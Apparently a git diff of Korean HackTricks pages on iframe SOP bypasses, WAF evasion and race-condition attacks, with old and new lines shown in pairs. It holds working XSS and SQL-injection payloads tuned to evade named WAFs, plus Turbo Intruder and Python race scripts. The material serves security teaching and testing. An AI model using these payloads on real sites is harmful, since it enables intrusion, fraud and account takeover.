페이지가 **embeddable**이면, 그 방법으로 보호를 우회할 수 있습니다(쿠키는 `SameSite=None`으로 설정해야 할 수도 있습니다).
페이지가 **embeddable**이었다면, 그 방법으로 보호를 우회할 수 있습니다 (쿠키는 `SameSite=None`으로 설정해야 할 수도 있습니다).
### SOP bypass 2 (window.origin === null)
덜 알려진 사실은 **sandbox 값 `allow-popups`가 설정되면** **열린 팝업**이 **모든 sandboxed 속성**을 **상속**한다는 것입니다. `allow-popups-to-escape-sandbox`가 설정되지 않는 한, **null origin**에서 **팝업**을 열면 팝업 내부의 **`window.origin`**도 **`null`**이 됩니다.
덜 알려진 사실은 **sandbox 값 `allow-popups`가 설정되면** **열린 팝업**이 모든 **sandboxed attributes**를 **상속**받는다는 것입니다. `allow-popups-to-escape-sandbox`가 설정되지 않는 한, **null origin**에서 **팝업**을 열면 팝업 내부의 **`window.origin`**도 **`null`**이 됩니다.
### Challenge Solution
따라서 이 챌린지에서는 **iframe**을 **생성**하고, 취약한 XSS 코드 핸들러가 있는 페이지(`/iframe.php`)로 **팝업을 열면**, `window.origin === e.origin`이므로 두 값이 모두 `null`이기 때문에 **XSS를 용할 수 있는 페이로드를 전송**할 수 있습니다.
따라서 이 챌린지에서는 **iframe**을 **생성**하고, 취약한 XSS 코드 핸들러가 있는 페이지(`/iframe.php`)로 **팝업을 열면**, `window.origin === e.origin`이므로 두 값이 모두 `null`이기 때문에 **XSS를 용할 수 있는 페이로드를 전송**할 수 있습니다.
**페이로드**는 **식별자**를 가져와서 **XSS**를 **상위 페이지**(팝업을 연 페이지)로 **전송**하며, **상위 페이지**는 **취약한** `/iframe.php`**위치 변경**을 합니다. 식별자가 알려져 있기 때문에 `window.origin === e.origin` 조건이 만족되지 않아도 상관없습니다(기억하세요, origin은 **origin**이 **`null`**인 iframe의 **팝업**입니다) 왜냐하면 `data.identifier === identifier`이기 때문입니다. 그러면 **XSS가 다시 트리거**되며, 이번에는 올바른 origin에서 발생합니다.
**페이로드**는 **식별자**를 가져와서 **XSS**를 **상위 페이지**(팝업을 연 페이지)로 **전송**하며, **상위 페이지**는 **취약한** `/iframe.php`**위치 변경**을 합니다. 식별자가 알려져 있기 때문에 `window.origin === e.origin` 조건이 만족되지 않아도 상관없습니다 (기억하세요, origin은 **origin**이 **`null`**인 iframe의 **팝업**입니다) 왜냐하면 `data.identifier === identifier`이기 때문입니다. 그러면 **XSS가 다시 트리거**되며, 이번에는 올바른 origin에서 발생합니다.
```html
<body>
<script>

View File

@ -1,12 +1,12 @@
# SOP 우회하기 - 2
# SOP 우회하기 - Iframes - 2
{{#include ../../banners/hacktricks-training.md}}
## SOP-2의 Iframes
이 [**문제**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc) 의 [**해결책**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) 이전 섹션과 유사한 방법을 제안합니다. 확인해 봅시다.
이 [**해결책**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution)에서 [**도전 과제**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) 이전 섹션과 유사한 방법을 제안합니다. 확인해 봅시다.
제에서 공격자는 **우회해야** 합니다:
도전 과제에서 공격자는 **우회해야** 합니다:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
@ -25,12 +25,12 @@ await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
```
**두 번째 체크**를 우회하기 위해 **`token`**을 값 `null`로 보내**`window.token`** 값을 **`undefined`**로 만드는 방법은 다음과 같습니다:
**두 번째 체크**를 우회하기 위해 **`token`** 값을 `null`로 설정하**`window.token`** 값을 **`undefined`**로 만드는 방법은 다음과 같습니다:
- 값이 `null``token`을 postMessage로 보내는 것은 사소한 일입니다.
- **`window.token`**은 **`document.cookie`**를 사용하는 함수 **`getCookie`**를 호출할 때 사용됩니다. **`null`** 출처 페이지에서 **`document.cookie`**에 접근하면 **error**가 발생한다는 점에 유의하세요. 이로 인해 **`window.token`**은 **`undefined`** 값을 가지게 됩니다.
- **`window.token`**은 **`document.cookie`**를 사용하는 **`getCookie`** 함수 호출에서 사용됩니다. **`null`** 출처 페이지에서 **`document.cookie`**에 접근하면 **error**가 발생한다는 점에 유의하세요. 이로 인해 **`window.token`**은 **`undefined`** 값을 가지게 됩니다.
최종 솔루션은 [**@terjanq**](https://twitter.com/terjanq)에 의해 제공된 [**다음**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)입니다:
최종 솔루션은 [**@terjanq**](https://twitter.com/terjanq)에 의해 [**다음과 같습니다**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>

View File

@ -6,7 +6,7 @@
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), 만약 X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, 그 안에 있는 다른 iframe의 **위치를 변경할 수 있습니다**.
예를 들어, abc.com이 efg.com을 iframe으로 가지고 있고 abc.com에 X-Frame 헤더가 없다면, **`frames.location`**을 사용하여 efg.com을 evil.com으로 교차 출처 변경할 수 있습니다.
예를 들어, abc.com이 efg.com을 iframe으로 가지고 있고 abc.com에 X-Frame 헤더가 없다면, **`frames.location`**을 사용하여 efg.com을 evil.com으로 교차 출처 변경할 수 있습니다.
이는 **postMessages**에서 특히 유용한데, 만약 페이지가 **와일드카드**를 사용하여 민감한 데이터를 전송하고 있다면 `windowRef.postmessage("","*")`, 공격자가 제어하는 위치로 관련 iframe(자식 또는 부모)의 **위치를 변경하고 그 데이터를 훔칠 수 있습니다**.
```html

View File

@ -17,7 +17,7 @@ location = /admin/ {
deny all;
}
```
Nginx는 우회 방지를 위해 경로 정규화를 수행한 후 확인합니다. 그러나 백엔드 서버가 Nginx가 제거하지 않는 문자를 제거하는 다른 정규화를 수행하는 경우, 이 방어를 우회할 수 있을 가능성이 있습니다.
Nginx는 우회 방지를 위해 경로 정규화를 수행합니다. 그러나 백엔드 서버가 Nginx가 제거하지 않는 문자를 제거하는 다른 정규화를 수행하는 경우, 이 방어를 우회할 수 있을 가능성이 있습니다.
### **NodeJS - Express**
@ -74,20 +74,20 @@ deny all;
### 경로 혼동
[**이 게시물**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)에서는 ModSecurity v3(3.0.12까지)가 접근된 경로(매개변수 시작)를 포함해야 하는 `REQUEST_FILENAME` 변수를 **부적절하게 구현했다**고 설명합니다. 이는 경로를 얻기 위해 URL 디코드를 수행했기 때문입니다.\
따라서 mod security에서 `http://example.com/foo%3f';alert(1);foo=`와 같은 요청은 경로가 `/foo`라고 가정합니다. `%3f``?`로 변환되어 URL 경로가 끝나기 때문입니다. 그러나 실제로 서버가 받는 경로는 `/foo%3f';alert(1);foo=`입니다.
[**이 게시물**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)에서는 ModSecurity v3(3.0.12까지)가 접근된 경로(매개변수 시작까지)를 포함해야 하는 `REQUEST_FILENAME` 변수를 **부적절하게 구현했다**고 설명합니다. 이는 경로를 얻기 위해 URL 디코드를 수행했기 때문입니다.\
따라서 mod security에서 `http://example.com/foo%3f';alert(1);foo=`와 같은 요청은 `%3f``?`로 변환되어 URL 경로가 종료되기 때문에 경로가 단지 `/foo`라고 가정하지만, 실제로 서버가 받을 경로는 `/foo%3f';alert(1);foo=`입니다.
변수 `REQUEST_BASENAME``PATH_INFO`도 이 버그의 영향을 받았습니다.
Mod Security 버전 2에서도 비슷한 일이 발생하여 특정 확장자(예: `.bak`)와 관련된 파일에 대한 접근을 방지하는 보호를 우회할 수 있었습니다. 이는 점을 `%2e`로 URL 인코딩하여 전송함으로써 가능했습니다. 예를 들어: `https://example.com/backup%2ebak`.
Mod Security 버전 2에서도 비슷한 일이 발생하여 특정 확장자와 관련된 백업 파일(예: `.bak`)에 대한 사용자 접근을 방지하는 보호를 우회할 수 있었습니다. 이는 점을 `%2e`로 URL 인코딩하여 전송함으로써 가능했습니다. 예를 들어: `https://example.com/backup%2ebak`.
## AWS WAF ACL 우회 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### 잘못된 헤더
[이 연구](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)에서는 AWS가 제대로 파싱하지 못한 "잘못된" 헤더를 전송하여 HTTP 헤더에 적용된 AWS WAF 규칙을 우회할 수 있었다고 언급합니다. 그러나 백엔드 서버는 이를 파싱할 수 있었습니다.
[이 연구](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)에서는 AWS가 제대로 파싱하지 못한 "잘못된" 헤더를 전송함으로써 HTTP 헤더에 적용된 AWS WAF 규칙을 우회할 수 있었다고 언급합니다. 그러나 백엔드 서버는 이를 파싱할 수 있었습니다.
예를 들어, X-Query 헤더에 SQL 인젝션이 포함된 다음 요청을 전송하는 것입니다:
예를 들어, 헤더 X-Query에 SQL 인젝션이 포함된 다음 요청을 전송니다:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -110,7 +110,7 @@ AWS WAF를 우회할 수 있었던 이유는 NODEJS 서버는 다음 줄이 헤
- [**Azure 문서**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**에서:**
구형 웹 애플리케이션 방화벽(Core Rule Set 3.1 이하)은 요청 본문 검사를 끄면 **128 KB**보다 큰 메시지를 허용하지만, 이러한 메시지는 취약점 검사를 받지 않습니다. 최신 버전(Core Rule Set 3.2 이상)에서는 최대 요청 본문 제한을 비활성화하여 동일한 작업을 수행할 수 있습니다. 요청이 크기 제한을 초과하면:
구형 웹 애플리케이션 방화벽(Core Rule Set 3.1 이하)은 요청 본문 검사를 끔으로써 **128 KB**보다 큰 메시지를 허용하지만, 이러한 메시지는 취약점 검사를 받지 않습니다. 최신 버전(Core Rule Set 3.2 이상)에서는 최대 요청 본문 제한을 비활성화하여 동일한 작업을 수행할 수 있습니다. 요청이 크기 제한을 초과하면:
**차단 모드**: 요청을 기록하고 차단합니다.\
**탐지 모드**: 제한까지 검사하고 나머지는 무시하며, `Content-Length`가 제한을 초과하면 기록합니다.
@ -143,7 +143,7 @@ AWS WAF를 우회할 수 있었던 이유는 NODEJS 서버는 다음 줄이 헤
```
### 컨텍스트 WAF 우회하기 위한 인코딩 <a href="#ip-rotation" id="ip-rotation"></a>
[**이 블로그 포스트**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)에서 언급된 바와 같이, 사용자 입력의 컨텍스트를 유지할 수 있는 WAF를 우회하기 위해 WAF 기술을 악용하여 사용자 입력을 실제로 정규화할 수 있습니다.
[**이 블로그 포스트**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)에서 언급된 바와 같이, 사용자 입력의 컨텍스트를 유지할 수 있는 WAF를 우회하기 위해 WAF 기술을 악용하여 실제로 사용자 입력을 정규화할 수 있습니다.
예를 들어, 포스트에서는 **Akamai가 사용자 입력을 10번 URL 디코딩했다**고 언급합니다. 따라서 `<input/%2525252525252525253e/onfocus`와 같은 것은 Akamai에 의해 `<input/>/onfocus`로 인식되며, **태그가 닫혔기 때문에 괜찮다고 생각할 수 있습니다**. 그러나 애플리케이션이 입력을 10번 URL 디코딩하지 않는 한, 피해자는 `<input/%25252525252525253e/onfocus`와 같은 것을 보게 되며, 이는 **여전히 XSS 공격에 유효합니다**.
@ -158,7 +158,7 @@ AWS WAF를 우회할 수 있었던 이유는 NODEJS 서버는 다음 줄이 헤
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
또한, **일부 WAF가 사용자 입력의 컨텍스트를 이해하는 방식에 따라** 이를 악용할 수 있는 가능성이 있다고 언급됩니다. 블로그에서 제안된 예는 Akamai가 `/*``*/` 사이에 무엇이든 넣는 것을 허용(했을) 수 있다는 것입니다(이는 일반적으로 주석으로 사용되기 때문입니다). 따라서 `/*'or sleep(5)-- -*/`와 같은 SQL 인젝션은 포착되지 않으며, `/*`가 인젝션의 시작 문자열이고 `*/`가 주석 처리되기 때문에 유효합니다.
또한, **일부 WAF가 사용자 입력의 컨텍스트를 이해하는 방식에 따라** 이를 악용할 수 있는 가능성이 있다고 언급됩니다. 블로그에서 제안된 예는 Akamai가 `/*``*/` 사이에 무엇이든 넣는 것을 허용(했을) 수 있다는 것입니다(이는 일반적으로 주석으로 사용되기 때문입니다). 따라서 `/*'or sleep(5)-- -*/`와 같은 SQL 인젝션은 포착되지 않으며, `/*`가 인젝션의 시작 문자열이고 `*/`가 주석 처리되기 때문에 유효합니다.
이러한 종류의 컨텍스트 문제는 WAF가 악용할 것으로 예상하는 것 외의 다른 취약점을 **악용하는 데에도 사용될 수 있습니다**(예: 이는 XSS를 악용하는 데에도 사용될 수 있습니다).

View File

@ -9,7 +9,7 @@
Race condition을 이용하는 데 있어 주요 장애물은 여러 요청이 동시에 처리되도록 보장하는 것입니다. **처리 시간의 차이가 매우 적어야 하며, 이상적으로는 1ms 미만이어야 합니다.**
여기 요청 동기화를 위한 몇 가지 기술 있습니다:
여기 요청 동기화를 위한 몇 가지 기술을 찾을 수 있습니다:
#### HTTP/2 단일 패킷 공격 vs. HTTP/1.1 마지막 바이트 동기화
@ -19,11 +19,11 @@ Race condition을 이용하는 데 있어 주요 장애물은 여러 요청이
**마지막 바이트 동기화를 위한 준비**는 다음을 포함합니다:
1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 본문 데이터를 전송합니다.
2. 초기 전송 후 100ms 동안 일시 지합니다.
2. 초기 전송 후 100ms 동안 일시 지합니다.
3. 최종 프레임을 배치하기 위해 Nagle의 알고리즘을 활용하기 위해 TCP_NODELAY를 비활성화합니다.
4. 연결을 준비하기 위해 핑을 보냅니다.
보류된 프레임의 후속 전송은 Wireshark를 통해 확인할 수 있는 단일 패킷으로 도착해야 합니다. 이 방법은 일반적으로 RC 공격에 관련되지 않는 정적 파일에는 적용되지 않습니다.
보류된 프레임의 후속 전송은 단일 패킷으로 도착해야 하며, Wireshark를 통해 확인할 수 있습니다. 이 방법은 일반적으로 RC 공격에 관련되지 않는 정적 파일에는 적용되지 않습니다.
### 서버 아키텍처에 적응하기
@ -35,11 +35,11 @@ PHP의 세션 핸들러와 같은 프레임워크는 세션별로 요청을 직
#### 속도 또는 자원 제한 극복
연결 준비가 효과가 없다면, 더미 요청의 홍수를 통해 웹 서버의 속도 또는 자원 제한 지연을 의도적으로 유발하여 race condition에 유리한 서버 측 지연을 유도할 수 있습니다.
연결 준비가 효과적이지 않은 경우, 더미 요청의 홍수를 통해 웹 서버의 속도 또는 자원 제한 지연을 의도적으로 유발하여 race condition에 유리한 서버 측 지연을 유도함으로써 단일 패킷 공격을 용이하게 할 수 있습니다.
## 공격 예시
- **Tubo Intruder - HTTP2 단일 패킷 공격 (1 엔드포인트)**: 요청을 **Turbo intruder**에 보낼 수 있습니다 (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), 요청에서 **`%s`**에 대해 무작위로 대입할 값을 변경할 수 있습니다. 예: `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` 그리고 드롭다운에서 **`examples/race-single-packer-attack.py`**를 선택합니다:
- **Tubo Intruder - HTTP2 단일 패킷 공격 (1 엔드포인트)**: 요청을 **Turbo intruder**에 보낼 수 있습니다 (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), 요청에서 **`%s`**에 대해 강제로 변환할 값을 변경할 수 있습니다. 예: `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` 그리고 드롭다운에서 **`examples/race-single-packer-attack.py`**를 선택합니다:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
> [!WARNING]
> 웹이 HTTP2를 지원하지 않는 경우(오직 HTTP1.1만 지원) `Engine.THREADED` 또는 `Engine.BURP`를 사용하고 `Engine.BURP2`는 사용하지 마십시오.
- **Tubo Intruder - HTTP2 단일 패킷 공격 (여러 엔드포인트)**: RCE를 트리거하기 위해 1개의 엔드포인트에 요청을 보내고 그 후 여러 엔드포인트에 요청을 보내야 하는 경우, `race-single-packet-attack.py` 스크립트를 다음과 같이 변경할 수 있습니다:
- **Tubo Intruder - HTTP2 단일 패킷 공격 (여러 엔드포인트)**: RCE를 트리거하기 위해 1개의 엔드포인트에 요청을 보내고 다른 엔드포인트에 여러 개의 요청을 보내야 하는 경우, `race-single-packet-attack.py` 스크립트를 다음과 같이 변경할 수 있습니다:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -83,15 +83,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- Burp Suite의 새로운 '**병렬로 그룹 전송**' 옵션을 통해 **Repeater**에서도 사용할 수 있습니다.
- Burp Suite의 새로운 '**Send group in parallel**' 옵션을 통해 **Repeater**에서도 사용할 수 있습니다.
- **limit-overrun**의 경우, 그룹에 **같은 요청을 50번** 추가할 수 있습니다.
- **connection warming**을 위해, **그룹**의 **시작** 부분에 웹 서버의 비정적 부분에 대한 **요청**을 **추가**할 수 있습니다.
- 2단계 서브스테이트에서 **하나의 요청과 다른 요청** 사이의 프로세스를 **지연**시키기 위해, 두 요청 사이에 **추가 요청을** **추가**할 수 있습니다.
- **다중 엔드포인트** RC의 경우, **숨겨진 상태**로 **가는 요청**을 보내기 시작한 다음, 그 뒤에 **숨겨진 상태를 악용하는 50개의 요청**을 보낼 수 있습니다.
- **지연**을 위해 **하나의 요청과 다른 요청** 사이의 처리 **과정**을 2단계로 나누어, 두 요청 사이에 **추가 요청을** **추가**할 수 있습니다.
- **multi-endpoint** RC의 경우, **숨겨진 상태**로 **가는 요청**을 먼저 보내고, 그 뒤에 **숨겨진 상태를 이용하는 50개의 요청**을 보낼 수 있습니다.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **자동화된 파이썬 스크립트**: 이 스크립트의 목표는 사용자의 이메일을 변경하면서 새로운 이메일의 확인 토큰이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다(이는 코드에서 이메일을 수정할 수 있는 RC가 발견되었지만 확인이 이전 이메일로 전송되도록 변수에 첫 번째 이메일이 이미 채워져 있었기 때문입니다).\
- **자동화된 파이썬 스크립트**: 이 스크립트의 목표는 사용자의 이메일을 변경하면서 새로운 이메일의 확인 토큰이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다(이는 코드에서 이메일을 수정할 수 있는 RC가 발견되었지만 확인이 이전 이메일로 전송되도록 이메일을 나타내는 변수가 이미 첫 번째 이메일로 채워져 있었기 때문입니다).\
"objetivo"라는 단어가 수신된 이메일에서 발견되면 변경된 이메일의 확인 토큰을 수신한 것이며 공격을 종료합니다.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
@ -228,7 +228,7 @@ response = requests.get(url, verify=False)
## 원시 BF
이전 연구 이전에 RC를 유발하기 위해 패킷을 가능한 한 빠르게 전송하려고 시도한 몇 가지 페이로드가 있었습니다.
이전 연구 이전에 RC를 유발하기 위해 패킷을 가능한 한 빨리 전송하려고 시도한 몇 가지 페이로드가 있었습니다.
- **Repeater:** 이전 섹션의 예를 확인하십시오.
- **Intruder**: **Intruder**에 **요청**을 보내고, **옵션 메뉴**에서 **스레드 수**를 **30**으로 설정하고, 페이로드로 **Null payloads**를 선택한 후 **30**을 생성합니다.
@ -283,9 +283,9 @@ asyncio.run(main())
### Limit-overrun / TOCTOU
이것은 **행동을 수행할 수 있는 횟수를 제한하는** 곳에**발생하는 취약점**의 가장 기본적인 유형입니다. 예를 들어, 웹 스토어에서 동일한 할인 코드를 여러 번 사용하는 경우입니다. 매우 쉬운 예는 [**이 보고서**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 또는 [**이 버그**](https://hackerone.com/reports/759247)**에서 찾을 수 있습니다.**
이것은 **행동을 수행할 수 있는 횟수를 제한하는** 곳에 **나타나는 취약점**이 있는 가장 기본적인 유형의 경쟁 조건입니다. 예를 들어, 웹 스토어에서 동일한 할인 코드를 여러 번 사용하는 경우입니다. [**이 보고서**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 또는 [**이 버그**](https://hackerone.com/reports/759247)**에서 매우 쉬운 예를 찾을 수 있습니다.**
이러한 종류의 공격에는 여러 가지 변형이 있습니다:
이러한 유형의 공격에는 여러 가지 변형이 있습니다:
- 기프트 카드를 여러 번 사용하기
- 제품에 대해 여러 번 평가하기
@ -295,17 +295,17 @@ asyncio.run(main())
### **숨겨진 하위 상태**
복잡한 레이스 조건을 악용하는 것은 종종 숨겨진 또는 **의도하지 않은 기계 하위 상태**와 상호작용할 수 있는 짧은 기회를 이용하는 것을 포함합니다. 접근 방법은 다음과 같습니다:
복잡한 경쟁 조건을 악용하는 것은 종종 숨겨진 또는 **의도하지 않은 기계 하위 상태**와 상호작용할 수 있는 짧은 기회를 이용하는 것을 포함합니다. 접근 방법은 다음과 같습니다:
1. **잠재적 숨겨진 하위 상태 식별**
- 사용자 프로필이나 비밀번호 재설정 프로세스와 같은 중요한 데이터를 수정하거나 상호작용하는 엔드포인트를 파악하는 것부터 시작합니다. 다음에 집중하세요:
- **저장**: 클라이언트 측 데이터를 처리하는 것보다 서버 측 지속 데이터를 조작하는 엔드포인트를 선호합니다.
- **작업**: 기존 데이터를 변경하는 작업을 찾습니다. 이는 새로운 데이터를 추가하는 것보다 악용 가능한 조건을 생성할 가능성이 더 높습니다.
- 사용자 프로필이나 비밀번호 재설정 프로세스와 같은 중요한 데이터를 수정하거나 상호작용하는 엔드포인트를 찾아보세요. 다음에 집중하세요:
- **저장**: 클라이언트 측 데이터를 처리하는 것보다 서버 측 지속 데이터를 조작하는 엔드포인트를 선호합니다.
- **작업**: 기존 데이터를 변경하는 작업을 찾으세요. 이는 새로운 데이터를 추가하는 것보다 악용 가능한 조건을 생성할 가능성이 더 높습니다.
- **키잉**: 성공적인 공격은 일반적으로 동일한 식별자(예: 사용자 이름 또는 재설정 토큰)에 키가 지정된 작업을 포함합니다.
2. **초기 탐색 수행**
- 식별된 엔드포인트에 대해 레이스 조건 공격을 테스트하고 예상 결과에서의 편차를 관찰합니다. 예상치 못한 응답이나 애플리케이션 동작의 변화는 취약점을 신호할 수 있습니다.
- 식별된 엔드포인트에 대해 경쟁 조건 공격을 테스트하고 예상 결과에서의 편차를 관찰하세요. 예상치 못한 응답이나 애플리케이션 동작의 변화는 취약점을 신호할 수 있습니다.
3. **취약점 입증**
- 취약점을 악용하는 데 필요한 최소한의 요청 수로 공격을 좁힙니다. 보통 두 개의 요청이면 충분합니다. 이 단계는 정밀한 타이밍이 필요하기 때문에 여러 번의 시도나 자동화가 필요할 수 있습니다.
- 취약점을 악용하는 데 필요한 최소한의 요청 수로 공격을 좁히세요. 종종 두 개의 요청만 필요합니다. 이 단계는 정밀한 타이밍이 필요하기 때문에 여러 번의 시도나 자동화가 필요할 수 있습니다.
### 시간 민감 공격
@ -313,11 +313,11 @@ asyncio.run(main())
**악용 방법:**
- 단일 패킷 공격과 같은 정밀한 타이밍을 사용하여 동시 비밀번호 재설정 요청을 합니다. 동일한 토큰은 취약점을 나타냅니다.
- 단일 패킷 공격과 같은 정밀한 타이밍을 사용하여 동시 비밀번호 재설정 요청을 만드세요. 동일한 토큰은 취약점을 나타냅니다.
**예시:**
- 두 개의 비밀번호 재설정 토큰을 동시에 요청하고 비교합니다. 일치하는 토큰은 토큰 생성의 결함을 시사합니다.
- 두 개의 비밀번호 재설정 토큰을 동시에 요청하고 비교하세요. 일치하는 토큰은 토큰 생성의 결함을 나타냅니다.
**이것을 확인하세요** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **에서 시도해 보세요.**
@ -325,11 +325,11 @@ asyncio.run(main())
### 결제 및 항목 추가
이 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)를 확인하여 상점에서 **결제**하고 **추가 항목을 추가하는 방법**을 알아보세요. 이 항목은 **결제할 필요가 없습니다.**
이 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)를 확인하여 상점에서 **결제**하고 **추가 항목을 추가하는 방법**을 알아보세요. **결제할 필요가 없는 항목입니다.**
### 다른 이메일 확인
아이디어는 **이메일 주소를 확인하고 동시에 다른 이메일로 변경**하여 플랫폼이 변경된 이메일을 확인하는지 알아보는 것입니다.
아이디어는 **이메일 주소를 확인하고 동시에 다른 이메일로 변경하여 플랫폼이 새로 변경된 이메일을 확인하는지 알아보는 것입니다.**
### 이메일을 2개의 이메일 주소로 변경하기 (쿠키 기반)
@ -339,15 +339,15 @@ asyncio.run(main())
### 숨겨진 데이터베이스 상태 / 확인 우회
**2개의 서로 다른 쓰기**가 **데이터베이스** 내에 **정보를 추가하는 데** 사용되면, **첫 번째 데이터만 데이터베이스에 기록된** 짧은 시간이 있습니다. 예를 들어, 사용자를 생성할 때 **사용자 이름**과 **비밀번호**가 **기록되고** **새로 생성된 계정을 확인하기 위한 토큰**이 기록됩니다. 이는 짧은 시간 동안 **계정을 확인하기 위한 토큰이 null**임을 의미합니다.
**2개의 서로 다른 쓰기**가 **데이터베이스** 내에 **정보를 추가하는 데 사용될 경우**, **첫 번째 데이터만 데이터베이스에 기록된** 짧은 시간이 있습니다. 예를 들어, 사용자를 생성할 때 **사용자 이름**과 **비밀번호**가 **기록되고** **새로 생성된 계정을 확인하기 위한 토큰**이 기록됩니다. 이는 짧은 시간 동안 **계정을 확인하기 위한 토큰이 null**임을 의미합니다.
따라서 **계정을 등록하고 빈 토큰**(`token=` 또는 `token[]=` 또는 기타 변형)을 사용하여 여러 요청을 보내 즉시 계정을 확인하면 이메일을 제어하지 않는 **계정을 확인할 수 있습니다.**
따라서 **계정을 등록하고 빈 토큰**(`token=` 또는 `token[]=` 또는 기타 변형)을 사용하여 여러 요청을 보내면 **이메일을 제어하지 않는 계정을 확인할 수 있습니다.**
**이것을 확인하세요** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **에서 시도해 보세요.**
### 2FA 우회
다음의 의사 코드는 레이스 조건에 취약합니다. 왜냐하면 세션이 생성되는 동안 **2FA가 적용되지 않는** 매우 짧은 시간이 있기 때문입니다:
다음 의사 코드는 경쟁 조건에 취약합니다. 왜냐하면 세션이 생성되는 동안 **2FA가 적용되지 않는** 매우 짧은 시간이 있기 때문입니다:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -358,11 +358,11 @@ session['enforce_mfa'] = True
### OAuth2 영구 지속성
여러 [**OAUth 제공자**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)가 있습니다. 이러한 서비스는 애플리케이션을 생성하고 제공자가 등록한 사용자를 인증할 수 있게 해줍니다. 이를 위해 **클라이언트**는 **귀하의 애플리케이션**이 **OAUth 제공자** 내의 일부 데이터에 접근할 수 있도록 **허용해야** 합니다.\
여기까지는 구글/링크드인/깃허브 등에서 "_애플리케이션 \<InsertCoolName>이 귀하의 정보에 접근하고자 합니다. 허용하시겠습니까?_"라는 페이지가 표시되는 일반적인 로그인입니다.
여기까지는 구글/링크드인/깃허브 등으로 로그인할 때와 같은 일반적인 로그인 과정으로, "_애플리케이션 \<InsertCoolName>이 귀하의 정보에 접근하고자 합니다. 허용하시겠습니까?_"라는 페이지가 표시니다.
#### `authorization_code`의 경쟁 조건
**문제**는 사용자가 **허용**을 클릭하고 악의적인 애플리케이션에 **`authorization_code`**를 자동으로 전송할 때 발생합니다. 그러면 이 **애플리케이션은 OAUth 서비스 제공자의 경쟁 조건을 악용하여 귀하의 계정에 대해 **`authorization_code`**로부터 여러 개의 AT/RT** (_인증 토큰/리프레시 토큰_)를 생성합니다. 기본적으로, 애플리케이션이 귀하의 데이터에 접근하도록 허용한 사실을 악용하여 **여러 계정을 생성**하게 됩니다. 그런 다음, 애플리케이션이 귀하의 데이터에 접근하는 것을 **중지하면 AT/RT 쌍 중 하나는 삭제되지만, 나머지는 여전히 유효합니다**.
**문제**는 사용자가 **허용**을 클릭하고 악의적인 애플리케이션에 **`authorization_code`**를 자동으로 전송할 때 발생합니다. 그러면 이 **애플리케이션은 OAUth 서비스 제공자의 경쟁 조건을 악용하여 귀하의 계정에 대해 **`authorization_code`**로부터 하나 이상의 AT/RT** (_인증 토큰/리프레시 토큰_)를 생성합니다. 기본적으로, 애플리케이션이 귀하의 데이터에 접근하도록 허용한 사실을 악용하여 **여러 계정을 생성**하게 됩니다. 그런 다음, 애플리케이션이 귀하의 데이터에 접근하는 것을 **중지하면 AT/RT 쌍 중 하나는 삭제되지만, 나머지는 여전히 유효합니다**.
#### `Refresh Token`의 경쟁 조건
@ -370,7 +370,7 @@ session['enforce_mfa'] = True
